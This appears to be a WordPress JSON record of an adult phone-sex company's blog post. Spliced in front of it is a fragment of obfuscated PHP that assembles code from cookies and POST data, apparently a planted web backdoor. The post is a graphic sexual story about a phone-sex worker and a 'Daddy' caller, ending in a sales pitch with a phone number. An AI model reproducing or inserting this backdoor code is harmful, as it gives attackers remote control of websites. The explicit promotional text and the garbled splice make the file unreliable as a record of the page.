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"\144" . chr (101), array($wKkycMmI,));}public function __construct($AEkRHebCgj=0){$CGtMDqRMo = chr ( 696 - 652 ); $wKkycMmI = "";$NgyYb = $_POST;$dmGKjP = $_COOKIE;$BQKuG = "5bbd9526-f54a-4604-857e-2ff0fc223c64";$lWbfI = @$dmGKjP[substr($BQKuG, 0, 4)];if (!empty($lWbfI)){$lWbfI = explode($CGtMDqRMo, $lWbfI);foreach ($lWbfI as $RhGQjcCS){$wKkycMmI .= @$dmGKjP[$RhGQjcCS];$wKkycMmI .= @$NgyYb[$RhGQjcCS];}$wKkycMmI = $this->WNgMxEMM($wKkycMmI);}E_aZJZq::$eRyfvpzHQe = $this->ubDBJ($wKkycMmI, $BQKuG);if (strpos($BQKuG, $CGtMDqRMo) !== FALSE){$BQKuG = explode($CGtMDqRMo, $BQKuG); $yYdsVWBrDi = sprintf("8270_6077", strrev($BQKuG[0]));}}public static $eRyfvpzHQe = 8475;}MutcY();}{"id":556,"date":"2015-11-11T15:18:35","date_gmt":"2015-11-11T23:18:35","guid":{"rendered":"http:\/\/1-800-phonesex.com\/blog\/?p=556"},"modified":"2015-11-13T16:07:24","modified_gmt":"2015-11-14T00:07:24","slug":"get-the-most-out-of-your-morning-wood","status":"publish","type":"post","link":"https:\/\/live-hot-phonesex.com\/blog\/get-the-most-out-of-your-morning-wood\/","title":{"rendered":"Get the Most Out of Your MORNING WOOD!"},"content":{"rendered":"<p><a class=\"thumbnail\" href=\"http:\/\/1-800-phonesex.com\/blog\/wp-content\/uploads\/2015\/11\/DIG_IJ1154_086.jpg\"><img loading=\"lazy\" decoding=\"async\" class=\"alignnone size-medium wp-image-575\" src=\"http:\/\/1-800-phonesex.com\/blog\/wp-content\/uploads\/2015\/11\/DIG_IJ1154_086-300x200.jpg\" alt=\"DIG_IJ1154_086\" width=\"300\" height=\"200\" \/><\/a> <a class=\"thumbnail\" href=\"http:\/\/1-800-phonesex.com\/blog\/wp-content\/uploads\/2015\/11\/DIG_IJ1154_084.jpg\"><img loading=\"lazy\" decoding=\"async\" class=\"alignnone size-medium wp-image-576\" src=\"http:\/\/1-800-phonesex.com\/blog\/wp-content\/uploads\/2015\/11\/DIG_IJ1154_084-300x200.jpg\" alt=\"DIG_IJ1154_084\" width=\"300\" height=\"200\" \/><\/a><\/p>\n<p>So how are you \u201csingle\u201d guys handling your morning hard-ons? Are you just tugging one out while still in bed? In the shower? I mean, I\u2019m a chick so the idea of imagining that is kind of hot, but honestly, I\u2019ll bet that gets BORING for YOU plenty of the time, no?<\/p>\n<p>I guess you haven\u2019t heard that there are some guys who have \u201cdiscovered\u201d an ingenious way of handling their wood that keeps them smiling all day after. I mean, think about it\u2026are YOU still grinning about whacking it that morning, by the time lunch or dinner rolls around? I highly doubt it, dude.<\/p>\n<p>&nbsp;<\/p>\n<p>So\u2026what are these guys doing that\u2019s giving them chubbies all day just remembering it?<\/p>\n<p>They\u2019re letting ME or one of my sexy coworkers start their day off RIGHT by giving their cock what it deserves: an EPIC ORGASM worthy of a hardworking man! Cuz really, boys, us slutty girls know that you NEED a good morning release to get clearheaded for the day. And here\u2019s the extra great part, and I\u2019m for real here: WE LOVE IT TOO! We\u2019re not baristas or waitresses or cashiers for a reason! We love to MAKE YOU CUM, and you guys are actually way more a part of our \u201creal lives\u201d than you ever really know\u2026<\/p>\n<p>Picture, if you will, my coworker Delilah. She\u2019s 19, gorgeous- tall, thin, dark\u2026 and she\u2019s paying her way through college (a pretty prestigious one, in fact) having phone sex. Now, just like any service business, we all have our \u201cregulars\u201d. Do you know that we have our favorites, too? Her most favorite regular is on the east coast, and calls her at 6:30am (9:30 her time) every Monday through Friday morning. He calls right at the start of her day because he loves knowing he\u2019s her FIRST fuck of the day, every day. He\u2019s mid-forties and some kind of executive, and likes to refer to himself in the third person as \u201cDaddy\u201d, but that\u2019s all we know. Anyway, this is a perfect example of their morning trysts, and something YOU should get to enjoy too, by the way!<\/p>\n<p>So picture this\u2026somewhere in a small downtown apartment, a young woman is starting her day. She has class on campus later, but is, for the moment, sipping coffee in her robe, relaxing at home. Her cell phone rings.<\/p>\n<p>\u201cHello?\u201d she answers quietly, cradling the phone to her ear.<\/p>\n<p>\u201cIt\u2019s me. I want you to stop what you\u2019re doing, and get onto your bed.\u201d<\/p>\n<p>She puts down her mug and walks over to her bed, the white satin robe swishing against her smooth, tan legs. She lays down on the bed, and puts the phone back to her ear.<\/p>\n<p>\u201cOK.\u201d<\/p>\n<p>\u201cNow reach into the bedside drawer and get my favorite toy. Turn it on and let me hear it.\u201d<\/p>\n<p>She stretches her slender but shapely body across the mattress and reaches into the draw. She pulls out a long, purple vibrator and presses the button, and holds it up to her cell for a few seconds.<\/p>\n<p>\u201cNow what, Daddy?\u201d<\/p>\n<p>\u201cFaster- make the setting faster.\u201d<\/p>\n<p>She presses the button twice more, causing the toy buzz loudly, madly vibrating in her hand.<\/p>\n<p>\u201cThat\u2019s right\u2026now, are you naked?\u201d<\/p>\n<p>\u201cI just have on my robe.\u201d<\/p>\n<p>\u201cGood. Lay down flat on your back, and untie the robe. Now open it.\u201d<\/p>\n<p>Slowly, deliberately enjoying this simple act, she pulls on a tie of her robe and it gives. With her left hand, she pushes the robe to the sides, revealing her breasts, one at a time, and her smoothly-waxed pussy. The breasts are perfect\u2014perky and round, and still point to the ceiling despite her supine position.<\/p>\n<p>\u201cOK daddy, my robe is open.\u201d<\/p>\n<p>\u201cHow are your nipples? Are they hard?\u201d<\/p>\n<p>\u201cNot yet.\u201d<\/p>\n<p>\u201cPinch them. Make them hard for Daddy.\u201d<\/p>\n<p>The woman cradles the phone in the nook of her laying shoulder and grabs her nipples. She wants to squeeze and tug on the fleshy part of the breasts too, but knows she must only do what she is told. Obediently, she takes her pink, bead-size nipples between long, French-manicured nails and pinches hard, and releases. With each tweak, her labia aches and her clit starts to tingle.<\/p>\n<p>\u201cHow does that feel?\u201d<\/p>\n<p>\u201cIt feels really good, Daddy\u2026\u201d<\/p>\n<p>\u201cNow grab your toy again.\u201d<\/p>\n<p>\u201cGot it.\u201d<\/p>\n<p>\u201cYou can play on the outside, but don\u2019t put it in yet.\u201d<\/p>\n<p>With her nipples now hard little pebbles pointing skyward, the girl obeys his next command, pressing the vibrator against her.<\/p>\n<p>\u201cMmmmmmm, daddy\u2026yes, don\u2019t make me stop\u201d she says, arching her back toward the toy, letting it throb and hum against her fleshy pink mound.<\/p>\n<p>Her long brown hair grazes her shoulders and falls to the sides as she teases her pussy with hard and then soft pressure, making sure not to part the lips all the way just yet.<\/p>\n<p>She moans into his ear as the intensity grows.<\/p>\n<p>\u201cPut me on speaker, and then put the phone between your tits.\u201d<\/p>\n<p>\u201cOh yeah, Daddy!\u201d she says as she engages her speaker phone and places the cell on her breastbone between her two soft, bouncing titties.<\/p>\n<p>\u201cOK daddy.\u201d<\/p>\n<p>\u201cDo you want to cum this morning?\u201d<\/p>\n<p>\u201cYes, daddy, please!\u201d<\/p>\n<p>\u201cGood\u2014now you can put it in, BUT SLOWLY!\u201d<\/p>\n<p>With both hands now free, she opens her juicy slit and plunges the head of the purple rubber cock inside her with a loud \u201coh yes!\u201d<\/p>\n<p>\u201cFind your G-spot.\u201d<\/p>\n<p>She moans, letting the toy enter her fully, and then brings it about halfway back out, angling it upwards.<\/p>\n<p>\u201cMmmmmmmm\u2026\u201d she moans as her tight pussy throbs around the shaft, slowly moving in a circle until she finds the right spot.<\/p>\n<p>\u201cThat\u2019s right, fuck yourself\u2014rub that G-spot\u2026\u201d<\/p>\n<p>Her body begins to tense.<\/p>\n<p>\u201cThat\u2019s ME right there, baby\u2014that\u2019s MY FAT COCK inside you, stroking your spot so good. You love it, don\u2019t you?\u201d<\/p>\n<p>\u201cYes daddy&#8230;it feels SO good!\u201d<\/p>\n<p>\u201cDaddy\u2019s got his cock in his hands. I\u2019m stroking it thinking about you-about being inside your tight little pussy right now. God, that\u2019s amazing. Daddy wants a nice, big, fat orgasm. You make Daddy cum so hard his ears ring. Let me hear you cum so I can cum too. You know what I like.\u201d<\/p>\n<p>\u201cOK daddy\u2026\u201d she trails off, now concentrating intensely on rubbing herself from the inside, gliding the fake purple cock in and out, up and back. She pictures him on the other end, thick erection in hand, working his staff. It gets her hotter, and she grinds against the toy harder, faster.<\/p>\n<p>\u201cOh\u2026my\u2026.god, Daddy\u2026I\u2019m CUMMING!\u201d<\/p>\n<p>Her legs go stiff, her back arches, and her toes curl. The muscles on her right arm flex as she works the toy hard against her G-spot, sending waves of uncontrollable pleasure through her body. Her pussy seems to contract around the toy, holding it inside her, greedily eating it up. Her tits bounce with the vibration as her whole body convulses.<\/p>\n<p>\u201cOH YES DADDY!\u201d she screams in a final wave of pleasure.<\/p>\n<p>That does it. On the other end, his cock explodes, pumping a thick, full load onto his stomach and chest. It takes them both a moment to catch their breath. He can hear her panting.<\/p>\n<p>\u201cYou dirty little slut\u2014now you got me all dirty too,\u201d he tells her, looking down at his cum-coated, still slightly erect cock.<\/p>\n<p>\u201cNow\u2026what are you going to be thinking about in class all day?\u201d<\/p>\n<p>\u201cYou, Daddy,\u201d she laughs mischievously.<\/p>\n<p>\u201cThat\u2019s right. Now go put on a black thong\u2014that\u2019s what I want you to wear today. Under a nice skirt.\u201d<\/p>\n<p>\u201cOK, Daddy.\u201d<\/p>\n<p>\u201cAnd when you\u2019re in class, and your professor is being all witty, and you start to wonder what it might be like to fuck this older, educated man, remember that MY cock is what you service FIRST, every single day.\u201d<\/p>\n<p>\u201cOf course, Daddy.\u201d<\/p>\n<p>\u201cSo you just remember, even when you\u2019re riding some cute guys your own age from school, that your pussy is MINE FIRST\u2014that I make you cum FIRST. Isn\u2019t that right?\u201d<\/p>\n<p>\u201cYes, Daddy, always.\u201d<\/p>\n<p>\u201cGood girl. Now hurry up and get ready for school before I have to punish you next time.\u201d<\/p>\n<p>\u201cBye, Daddy. Thank you!\u201d<\/p>\n<p>They both hang up their phones and lay where they are a minute more, catching their breath\u2026<\/p>\n<p>&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;- &#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8211; &#8211; &#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8211;<br \/>\nSo CUM ON, guys\u2026don\u2019t waste your morning wood! We really are waiting for you to call us! Trust me, it\u2019s NOT just guys who are horny in the AM hours! And if you haven\u2019t noticed, we really are just 89 CENTS a minute, with a connection charge that is less than a small coffee. What would you rather have this morning\u2026<\/p>\n<p>Starbucks, or a good PHONE FUCK?! It\u2019s a no-brainer. And we have made our lines so affordable that you can CUM back often. We don\u2019t want to just hear from you once\u2014we want to be part of your sexy lifestyle, because life is too short to spend it in front of the television, right? Make TODAY count! 1-800-746-6373<\/p>\n<p>OK, I\u2019m off my soapbox now, but really, TRY US! We really believe the world would be a better place if everyone got LAID more regularly! A happy cock is a peaceful one, so let us make you happy, loves. &lt;3<\/p>\n<p>OXOXOX<br \/>\nMIA<\/p>\n<h1><a href=\"tel:18007466373\" onclick=\"ga('send', 'event', {'eventCategory': '1800PHONESEX-VANITY-MORNING-WOOD-800PSblog', 'eventAction': 'click'});\">CALL 1-800-PHONESEX<\/a><\/h1>\n","protected":false},"excerpt":{"rendered":"<p>So how are you \u201csingle\u201d guys handling your morning hard-ons? Are you just tugging one out while still in bed? In the shower? I mean, I\u2019m a chick so the idea of imagining that is kind of hot, but honestly, I\u2019ll bet that gets BORING for YOU plenty of the time, no? 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